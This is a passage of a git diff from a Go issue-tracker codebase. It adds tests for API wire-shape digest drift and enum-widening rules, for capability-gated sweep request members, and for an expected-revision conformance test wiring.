Parent's SECOND visit, so +// recordSide was never called on them for whichever side arrived second — +// and which side that was depended on paths' map iteration order, which is +// why the bug showed up as a flaky 78/100 rather than a deterministic +// failure. +func sharedNestedDoc(kindEnum, modeEnum string) []byte { + return []byte(`openapi: 3.0.3 +paths: + /parent: + post: + operationId: createParent + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/Parent'} + responses: + '200': {description: ok} + /wrapper: + get: + operationId: getWrapper + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/Wrapper'} +components: + schemas: + Parent: + type: object + properties: + child: {$ref: '#/components/schemas/Child'} + inl: + type: object + properties: + mode: {type: string, enum: [` + modeEnum + `]} + Child: + type: object + properties: + kind: {type: string, enum: [` + kindEnum + `]} + Wrapper: + type: object + properties: + p: {$ref: '#/components/schemas/Parent'} +`) +} + +// TestSidePropagatesToNestedChildren pins the MED1 re-review fix directly: +// Parent is reachable from both createParent's request body and, through +// Wrapper.p, getWrapper's response, and "both" must reach all the way down +// to its children — Child (a named, $ref'd grandchild) and Parent.inl (an +// anonymous nested object) alike — not stop at Parent itself. Before the +// fix, whichever side's walk reached Parent SECOND found it already in the +// name-only visited set and returned before ever recursing into Parent's +// properties with that side, so Child and Parent.inl stayed stuck at +// whichever single side walked them first. +func TestSidePropagatesToNestedChildren(t *testing.T) { + d, err := computeFrom(sharedNestedDoc("a, b", "a, b"), 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + want := map[string]string{ + "Parent": "both", + "Child": "both", + "Parent.inl": "both", + "Wrapper": "response", + } + for schema, wantSide := range want { + if got := d.Sides[schema]; got != wantSide { + t.Errorf("Sides[%q] = %q, want %q", schema, got, wantSide) + } + } +} + +// TestEnumWideningOnSharedNestedChildIsNotAdditive is the end-to-end +// Compare-level falsification the re-review asked for: widening an enum on a +// schema reachable from BOTH sides — whether a named grandchild ($ref'd +// Child.kind) or an anonymous nested one (Parent.inl.mode) — must be +// classified as a breaking Changed entry, never as an additive Widened one. +// An existing client decoding Wrapper out of getWrapper's response has to +// keep recognizing every value the server might send on either member, so +// neither widening is something only an updated client opts into the way a +// request-only widening is. +func TestEnumWideningOnSharedNestedChildIsNotAdditive(t *testing.T) { + for _, tc := range []struct { + name string + beforeKind, afterKind string + beforeMode, afterMode string + wantKey string + }{ + {"named grandchild (Child.kind)", "a, b", "a, b, c", "a, b", "a, b", "Child\x00kind"}, + {"anonymous nested child (Parent.inl.mode)", "a, b", "a, b", "a, b", "a, b, c", "Parent.inl\x00mode"}, + } { + t.Run(tc.name, func(t *testing.T) { + before, err := computeFrom(sharedNestedDoc(tc.beforeKind, tc.beforeMode), 2) + if err != nil { + t.Fatalf("computeFrom(before): %v", err) + } + after, err := computeFrom(sharedNestedDoc(tc.afterKind, tc.afterMode), 2) + if err != nil { + t.Fatalf("computeFrom(after): %v", err) + } + + cmp := Compare(before, after) + if !slices.Contains(cmp.Changed, tc.wantKey) { + t.Errorf("Changed = %v, want it to include %q: a both-sides enum widening must break", cmp.Changed, tc.wantKey) + } + if slices.Contains(cmp.Widened, tc.wantKey) { + t.Errorf("Widened = %v, must NOT include %q: both sides are reachable, so this is not additive", cmp.Widened, tc.wantKey) + } + + if ok, _ := SafeToWrite(before, after); ok { + t.Errorf("SafeToWrite at the same revision = true, want false: this widening is breaking and needs a wire_revision bump") + } + bumped := Digest{WireRevision: before.WireRevision + 1, Entries: after.Entries, Sides: after.Sides} + if ok, reason := SafeToWrite(before, bumped); !ok { + t.Errorf("SafeToWrite with a bumped revision refused: %s", reason) + } + }) + } +} + +// TestComputeFromSideAssignmentIsDeterministic is the order-independence pin +// the re-review asked for: the bug this MED1 fix closes was map-order +// dependent (observed failing 78/100 runs), so a single passing run of +// TestSidePropagatesToNestedChildren does not rule out a regression that is +// merely less likely than before. Go randomizes map iteration order per +// range, including paths and properties here, so calling computeFrom many +// times over the SAME document input exercises many different traversal +// orders; every one of them must land on the identical Sides assignment and +// entry set. +func TestComputeFromSideAssignmentIsDeterministic(t *testing.T) { + doc := sharedNestedDoc("a, b", "a, b") + first, err := computeFrom(doc, 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + for i := 0; i < 200; i++ { + got, err := computeFrom(doc, 2) + if err != nil { + t.Fatalf("computeFrom (run %d): %v", i, err) + } + if !reflect.DeepEqual(got.Sides, first.Sides) { + t.Fatalf("run %d: Sides = %v, want %v (non-deterministic across map iteration orders)", i, got.Sides, first.Sides) + } + if !reflect.DeepEqual(got.Entries, first.Entries) { + t.Fatalf("run %d: Entries = %v, want %v (non-deterministic across map iteration orders)", i, got.Entries, first.Entries) + } + } +} diff --git a/internal/httpapi/wireshape/wireshape_test.go b/internal/httpapi/wireshape/wireshape_test.go index e2d19d720..dd58024b5 100644 --- a/internal/httpapi/wireshape/wireshape_test.go +++ b/internal/httpapi/wireshape/wireshape_test.go @@ -5,6 +5,7 @@ import ( "fmt" "os" "path/filepath" + "slices" "strings" "testing" @@ -25,8 +26,8 @@ import ( // revision table in openapi.v0.yaml, never before. A wire_revision LOWER than // the golden's is never fixed by regenerating: that table is append-only, so // the constant itself is wrong. Any other difference — a bumped -// wire_revision, or entries only added — means this golden is simply stale; -// regenerate it with: +// wire_revision, entries only added, or a `sides` map that no longer matches +// — means this golden is simply stale; regenerate it with: // // go run ./internal/httpapi/wireshape/cmd/gendigest func TestWireShapeDigest(t *testing.T) { @@ -50,8 +51,8 @@ func TestWireShapeDigest(t *testing.T) { // goldenDrift is TestWireShapeDigest's verdict, factored out so // TestGoldenDrift can drive every arm with synthetic digests. It returns "" -// only when golden records exactly got — the same entries at the same -// wire_revision. Every other state fails; the arms only choose which +// only when golden records exactly got — the same entries and sides at the +// same wire_revision. Every other state fails; the arms only choose which // instruction the failure gives. func goldenDrift(golden, got wireshape.Digest) string { if got.WireRevision < golden.WireRevision { @@ -62,7 +63,8 @@ func goldenDrift(golden, got wireshape.Digest) string { } cmp := wireshape.Compare(golden, got) - changed, removed, added := cmp.Changed, cmp.Removed, cmp.Added + changed, removed, added, widened := cmp.Changed, cmp.Removed, cmp.Added, cmp.Widened + sides := sidesDrift(golden.Sides, got.Sides) switch { case len(changed) > 0 || len(removed) > 0: @@ -77,40 +79,72 @@ func goldenDrift(golden, got wireshape.Digest) string { "removed=%v) and wire_revision moved %d -> %d, but the golden was not regenerated: run "+ "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", changed, removed, golden.WireRevision, got.WireRevision) - case len(added) > 0: + case len(added) > 0 || len(widened) > 0: + // Widened (a request-only enum strictly growing) is additive, same as + // Added (a brand-new key): neither needs CurrentWireRevision to move, + // both just need the golden regenerated. if got.WireRevision == golden.WireRevision { - return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) but the "+ - "golden was not regenerated: this is additive and needs no wire_revision bump, but still run "+ - "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", added) + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) or had a "+ + "request-only enum widen (%v) but the golden was not regenerated: this is additive and needs "+ + "no wire_revision bump, but still run `go run ./internal/httpapi/wireshape/cmd/gendigest` "+ + "and commit the result", added, widened) } // Passing here would leave the golden a revision behind // CurrentWireRevision, and a later non-additive change at that // already-moved constant would then be told only to regenerate (which // SafeToWrite allows) instead of to bump. - return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) and "+ - "wire_revision moved %d -> %d, but the golden was not regenerated: run "+ - "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", - added, golden.WireRevision, got.WireRevision) + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) or had a "+ + "request-only enum widen (%v) and wire_revision moved %d -> %d, but the golden was not "+ + "regenerated: run `go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + added, widened, golden.WireRevision, got.WireRevision) case got.WireRevision != golden.WireRevision: return fmt.Sprintf("CurrentWireRevision is %d but the golden still says %d, with no shape change to justify "+ "either: regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`", got.WireRevision, golden.WireRevision) + case len(sides) > 0: + // Compare reads Sides only for the request-only widening carve-out, so + // a stale map changes no member's shape: it misfiles the next enum + // widening on those schemas instead. Nothing to bump, but the golden + // is still not what gendigest writes. + return fmt.Sprintf("the golden's `sides` map disagrees with a fresh digest for %v: this needs no "+ + "wire_revision bump, but run `go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + sides) } return "" } +// sidesDrift lists, sorted, every schema whose side differs between want and +// got, including a schema only one of them records. +func sidesDrift(want, got map[string]string) []string { + var drift []string + for schema, side := range want { + if gotSide, ok := got[schema]; !ok || gotSide != side { + drift = append(drift, schema) + } + } + for schema := range got { + if _, ok := want[schema]; !ok { + drift = append(drift, schema) + } + } + slices.Sort(drift) + return drift +} + // TestGoldenDrift is TestWireShapeDigest's own falsification: every way the // committed golden can disagree with a fresh Compute must fail, each with its // own instruction. "Added after a bump" is the state review found passing // silently — no arm fired when entries were only added and wire_revision had // also moved — and a LOWERED wire_revision was told to regenerate, which -// would have written the golden's revision backwards. +// would have written the golden's revision backwards. A stale `sides` map +// passed the same way until goldenDrift compared it. func TestGoldenDrift(t *testing.T) { golden := wireshape.Digest{ WireRevision: 2, Entries: []wireshape.Entry{ {Schema: "Widget", Member: "name", Type: "string", Required: true}, }, + Sides: map[string]string{"Widget": "response"}, } changed := []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}} added := append(append([]wireshape.Entry{}, golden.Entries...), @@ -141,6 +175,15 @@ func TestGoldenDrift(t *testing.T) { wireshape.Digest{WireRevision: 1, Entries: changed}, []string{"LOWER than the 2"}}, {"added entry at a lowered revision asks to restore the constant", wireshape.Digest{WireRevision: 1, Entries: added}, []string{"LOWER than the 2"}}, + {"side recorded only by the fresh digest asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries, + Sides: map[string]string{"Widget": "response", "Gadget": "request"}}, + []string{"`sides` map disagrees", "[Gadget]", "needs no wire_revision bump"}}, + {"side that moved asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries, Sides: map[string]string{"Widget": "both"}}, + []string{"`sides` map disagrees", "[Widget]"}}, + {"side recorded only by the golden asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries}, []string{"`sides` map disagrees", "[Widget]"}}, } { t.Run(tc.name, func(t *testing.T) { drift := goldenDrift(golden, tc.got) @@ -258,6 +301,135 @@ func TestSafeToWrite(t *testing.T) { }) } +// TestEnumWideningAdditivity is the falsification for widensAdditively +// (review MED 1: "the only trigger [for S4's wire_revision bump] is the +// request-only enum widening of SweepRequest.tier ... fix the wireshape gate +// so widening a request-only enum counts as additive, while response-side +// enum widening stays breaking"). Two synthetic digests, identical except for +// their Sides map, prove the carve-out is keyed on Sides alone — Entry itself +// never changes shape. +func TestEnumWideningAdditivity(t *testing.T) { + requestBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + requestWidened := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral", "wisps-plane"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + + t.Run("a request-only enum widening is additive at the same revision", func(t *testing.T) { + cmp := wireshape.Compare(requestBase, requestWidened) + if len(cmp.Changed) != 0 { + t.Fatalf("Changed = %v, want none (the widening belongs in Widened)", cmp.Changed) + } + if len(cmp.Widened) != 1 { + t.Fatalf("Widened = %v, want exactly one entry", cmp.Widened) + } + if ok, reason := wireshape.SafeToWrite(requestBase, requestWidened); !ok { + t.Fatalf("request-only enum widening at the same revision refused: %s", reason) + } + drift := goldenDrift(requestBase, requestWidened) + if drift == "" || !strings.Contains(drift, "needs no wire_revision bump") { + t.Fatalf("goldenDrift = %q, want an additive (no-bump) instruction", drift) + } + }) + + responseBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepResult", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral"}}, + }, + Sides: map[string]string{"SweepResult": "response"}, + } + responseWidened := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepResult", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral", "wisps-plane"}}, + }, + Sides: map[string]string{"SweepResult": "response"}, + } + + t.Run("the identical widening on a response-side entry stays breaking", func(t *testing.T) { + cmp := wireshape.Compare(responseBase, responseWidened) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (a response-side widening is not additive)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + if ok, _ := wireshape.SafeToWrite(responseBase, responseWidened); ok { + t.Fatal("response-side enum widening at the same revision was allowed") + } + bumped := wireshape.Digest{WireRevision: 3, Entries: responseWidened.Entries, Sides: responseWidened.Sides} + if ok, reason := wireshape.SafeToWrite(responseBase, bumped); !ok { + t.Fatalf("response-side enum widening with a bumped revision refused: %s", reason) + } + drift := goldenDrift(responseBase, responseWidened) + if drift == "" || !strings.Contains(drift, "changed without a wire_revision bump") { + t.Fatalf("goldenDrift = %q, want the ordinary non-additive instruction", drift) + } + }) + + t.Run("an enum narrowing on a request-only entry is still breaking", func(t *testing.T) { + narrowed := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + cmp := wireshape.Compare(requestBase, narrowed) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (narrowing is not a widening)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + }) + + t.Run("going from no enum at all to a fixed enum on a request-only entry is not additive", func(t *testing.T) { + // Pinning case for review finding: widensAdditively required + // len(new.Enum) > len(old.Enum), which holds vacuously when the old + // side has no enum (a free string). That let a request-only member + // go from unconstrained to a fixed set at the same wire_revision — + // the opposite of widening, since the server now 400s a value an + // old client could send yesterday. + noEnumBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + cmp := wireshape.Compare(noEnumBase, requestWidened) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (no enum before is a new restriction, not a widening)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + if ok, _ := wireshape.SafeToWrite(noEnumBase, requestWidened); ok { + t.Fatal("no-enum-to-enum tightening at the same revision was allowed") + } + bumped := wireshape.Digest{WireRevision: 3, Entries: requestWidened.Entries, Sides: requestWidened.Sides} + if ok, reason := wireshape.SafeToWrite(noEnumBase, bumped); !ok { + t.Fatalf("no-enum-to-enum tightening with a bumped revision refused: %s", reason) + } + }) +} + // TestParameterMutationsAreCaught is the falsification for how Compare and // SafeToWrite treat the parameter side of the digest (review: "the digest // doesn't cover operation PARAMETERS ... so a type, enum, required, or diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 6afefa0bb..702900172 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -103,6 +103,7 @@ go_test( "dispatch_test.go", "divergence_citation_gate_test.go", "divergence_test.go", + "expected_revision_contract_test.go", "helpers_test.go", "lifecycle_create_test.go", "lifecycle_update_test.go", @@ -125,6 +126,7 @@ go_test( "served_counter_test.go", "served_detail_reads_test.go", "served_dualrun_test.go", + "served_dualwrite_history_test.go", "served_graph_aux_test.go", "served_graph_counter_test.go", "served_harness_test.go", diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go index efa535889..5bf7a6022 100644 --- a/internal/httpclient/bulk_roles_test.go +++ b/internal/httpclient/bulk_roles_test.go @@ -14,6 +14,8 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -198,28 +200,150 @@ func TestSweepDoesNotWriteThroughTheCallersCutoff(t *testing.T) { // is hand-written and a member the server grows would otherwise be dropped in // silence — a result whose numbers are quietly wrong about what was erased. func TestSweepResultCarriesEveryWireMember(t *testing.T) { + remaining := int64(13) + liveDependent := 14 w := &stubWire{swept: &apigen.SweepResult{ DryRun: true, Swept: 3, Dependencies: 4, Labels: 5, Events: 6, Skipped: apigen.SweepSkips{ Pinned: 7, Referenced: 8, NotClosed: 9, UnknownClosedAt: 10, ClosedAtOrAfterCutoff: 11, Unreadable: 12, + LiveDependent: &liveDependent, }, ReferencedIds: &[]string{"bd-1"}, + Remaining: &remaining, }} result, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}) if err != nil { t.Fatalf("Sweep(): %v", err) } - // Remaining and LiveDependent are skipped: OSS's wire publishes no - // `remaining` or structural-dependent skip member for either to decode out - // of (W-SweepRequest.Limit, W-SweepRequest.ProtectLiveDependents refuse the - // request members that would produce them), so no wire body — fully - // populated or not — can ever make this projection set them. - assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result), "Remaining") - assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped), "LiveDependent") + assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result)) + assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped)) if !reflect.DeepEqual(result.ReferencedIDs, []string{"bd-1"}) { t.Errorf("ReferencedIDs = %v, want [bd-1]", result.ReferencedIDs) } + if result.Remaining != 13 { + t.Errorf("Remaining = %d, want 13", result.Remaining) + } + if result.Skipped.LiveDependent != 14 { + t.Errorf("Skipped.LiveDependent = %d, want 14", result.Skipped.LiveDependent) + } +} + +// TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem is the encoding half of +// the three S4 additions: tier "wisps-plane", protect_live_dependents and limit +// each reach the wire once the handshake advertises the matching token, +// mirroring TestCountScopeFieldsEncodeOntoTheQuery's idiom for a request body +// rather than a query. +func TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem(t *testing.T) { + served := &apigen.ContextResponse{Capabilities: []string{ + wire.CapSweepWispsPlane, wire.CapSweepLiveDependents, wire.CapSweepLimit, + }} + + t.Run("wisps-plane tier", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepWispsPlane}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Tier != apigen.WispsPlane { + t.Errorf("tier = %q, want %q", w.lastSweep.Tier, apigen.WispsPlane) + } + }) + + t.Run("protect_live_dependents", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepWispsPlane, ProtectLiveDependents: true, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.ProtectLiveDependents == nil || !*w.lastSweep.ProtectLiveDependents { + t.Errorf("protect_live_dependents = %v, want true", w.lastSweep.ProtectLiveDependents) + } + }) + + t.Run("limit", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepDurable, Limit: 5, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Limit == nil || *w.lastSweep.Limit != 5 { + t.Errorf("limit = %v, want 5", w.lastSweep.Limit) + } + }) +} + +// TestSweepRefusesTheS4MembersWhenTheServerLacksTheCapability is the skew half: +// each of the three S4 additions refuses BEFORE dialing when the handshake does +// not advertise its token, mirroring +// TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability. +func TestSweepRefusesTheS4MembersWhenTheServerLacksTheCapability(t *testing.T) { + masked := &apigen.ContextResponse{Capabilities: []string{"issues.sweep"}} + + for _, tc := range []struct { + name string + req issueops.SweepRequest + cap string + }{ + {"wisps-plane tier", issueops.SweepRequest{Tier: issueops.SweepWispsPlane}, wire.CapSweepWispsPlane}, + {"protect_live_dependents", issueops.SweepRequest{Tier: issueops.SweepDurable, ProtectLiveDependents: true}, wire.CapSweepLiveDependents}, + {"limit", issueops.SweepRequest{Tier: issueops.SweepDurable, Limit: 5}, wire.CapSweepLimit}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, masked).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + _, err = sweeper.Sweep(t.Context(), tc.req) + if err == nil { + t.Fatal("Sweep returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != tc.cap { + t.Errorf("Capability = %q, want %q", unsup.Capability, tc.cap) + } + if unsup.Op != "Sweeper.Sweep" { + t.Errorf("Op = %q, want %q", unsup.Op, "Sweeper.Sweep") + } + if len(w.calls) != 0 { + t.Errorf("dialed %v, want none: a pre-dial refusal must never reach the wire", w.calls) + } + }) + } + + // The converse: a plain ephemeral/durable sweep with neither new boolean + // nor a limit dials normally against the same masked server — the gate + // guards the three additions, not the operation. + t.Run("no S4 member set dials normally", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, masked).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepDurable}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if len(w.calls) != 1 { + t.Errorf("dialed %d times, want 1", len(w.calls)) + } + }) } // TestDeleteResultCarriesEveryWireMember is the same guard on the delete, whose diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index a9b9adfd6..1b0e8cee7 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -34,6 +34,7 @@ go_test( "//:engdocs/design/http-divergence-ledger.md", "//cmd/bd:go_srcs", "//internal/httpapi/spec:openapi.v0.yaml", + "//internal/httpclient:go_srcs", ] + glob(["*.go"]), embed = [":encode"], deps = [ diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index a4729311c..605226c27 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -981,36 +981,22 @@ func writeSideRows() []Row { PinnedBy: pinnedByS3Conformance, }, { - // S3 reconciliation (2026-10): bd-enterprise's - // sweepIssues wire carried a structural-dependent protection - // alongside the referenced-citation one; OSS's apigen.SweepRequest - // publishes protect_referenced only. There is no - // protect_live_dependents member for this field to narrow onto, so - // sending `true` and having the client silently drop it would run - // an UNPROTECTED sweep while the caller believed the structural - // guard was active — the exact widening refuse-not-drop exists to - // stop, on the one operation this surface uses to delete rows. - ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRefuse, + ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRetired, Type: tySweepRequest, Field: "ProtectLiveDependents", - What: "protecting live structural dependents during a sweep refuses", - Why: "sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all", + What: "protecting live structural dependents during a sweep used to refuse", + Why: "RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. " + + "The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way", SpecRow: "D8 refuse-not-drop", - PinnedBy: pinnedByS3Conformance, + PinnedBy: "TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem", }, { - // Limit's absence is the same gap on the OTHER half of the request: - // bd-enterprise's wire bounded one sweep call and reported the - // remainder back; OSS's apigen.SweepRequest and SweepResult carry - // neither a limit member to send nor a remaining member to read one - // back from. A dropped Limit would run the UNBOUNDED sweep the - // caller asked to cap, in one transaction, which is the same - // widening the protection row above refuses rather than degrades. - ID: "W-SweepRequest.Limit", Kind: KindRefuse, + ID: "W-SweepRequest.Limit", Kind: KindRetired, Type: tySweepRequest, Field: "Limit", - What: "bounding one sweep call and draining a backlog over several refuses", - Why: "sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one", + What: "bounding one sweep call and draining a backlog over several used to refuse", + Why: "RETIRED by the S4 wire extension that sends it (with W-SweepRequest.ProtectLiveDependents). The local Sweeper role bounds one sweep call and reports the remainder back; apigen.SweepRequest and SweepResult carried neither a limit member to send nor a remaining member to read one back from, so a dropped Limit would have run the UNBOUNDED sweep the caller asked to cap, in one transaction. " + + "The spec now publishes `limit` on the request and `remaining` on the response behind issues.sweep.limit. The client sends Limit only once the handshake advertises that token and refuses locally otherwise; issueops.SweepResult.Remaining now carries the server's count rather than always reading zero", SpecRow: "D8 refuse-not-drop", - PinnedBy: pinnedByS3Conformance, + PinnedBy: "TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem", }, } } diff --git a/internal/httpclient/expected_revision_contract_test.go b/internal/httpclient/expected_revision_contract_test.go new file mode 100644 index 000000000..1c79a0559 --- /dev/null +++ b/internal/httpclient/expected_revision_contract_test.go @@ -0,0 +1,58 @@ +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestExpectedRevisionContract wires the http leg into the R16/R17 +// expected-revision contract, the same way dolt, embeddeddolt and uow do +// (see internal/storage/dolt/expected_revision_contract_test.go). Phase 0 +// leaves every hook nil in every backend's fixture kit (architecture §12 of +// be-hs42e.1), so this client — which implements no whole-of-state +// expectedRevision CAS wire operation, and has none to implement until that +// phase ships one — is in exactly the same all-nil state every other leg +// already is. Said honestly: these ten entrypoints are COUNTED here, the +// hook is UNBUILT ON EVERY LEG (not just this one), and every case below +// SKIPS as a result (each Run* helper calls t.Skip when +// CompareAndSetVersion is nil) — this file exists so +// TestEveryLegWiresEveryRoleContract counts the http leg for these ten +// entrypoints, and so the cases start running for real the moment a +// CompareAndSetVersion wire operation exists for this client to bind here. +func TestExpectedRevisionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.ExpectedRevisionFixture{IssuePrefix: "herev"} + + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + conformance.RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + conformance.RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + conformance.RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) +} diff --git a/internal/httpclient/roles_test.go b/internal/httpclient/roles_test.go index d821d104e..4aa353544 100644 --- a/internal/httpclient/roles_test.go +++ b/internal/httpclient/roles_test.go @@ -304,8 +304,18 @@ func TestWriteRoleRefusalsMatchTheReadShape(t *testing.T) { if err != nil { t.Fatalf("Sweeper(): %v", err) } + // Since S4 the wire carries limit, gated by issues.sweep.limit: a + // server that does not advertise it refuses pre-dial with a capability + // refusal, which classifies as 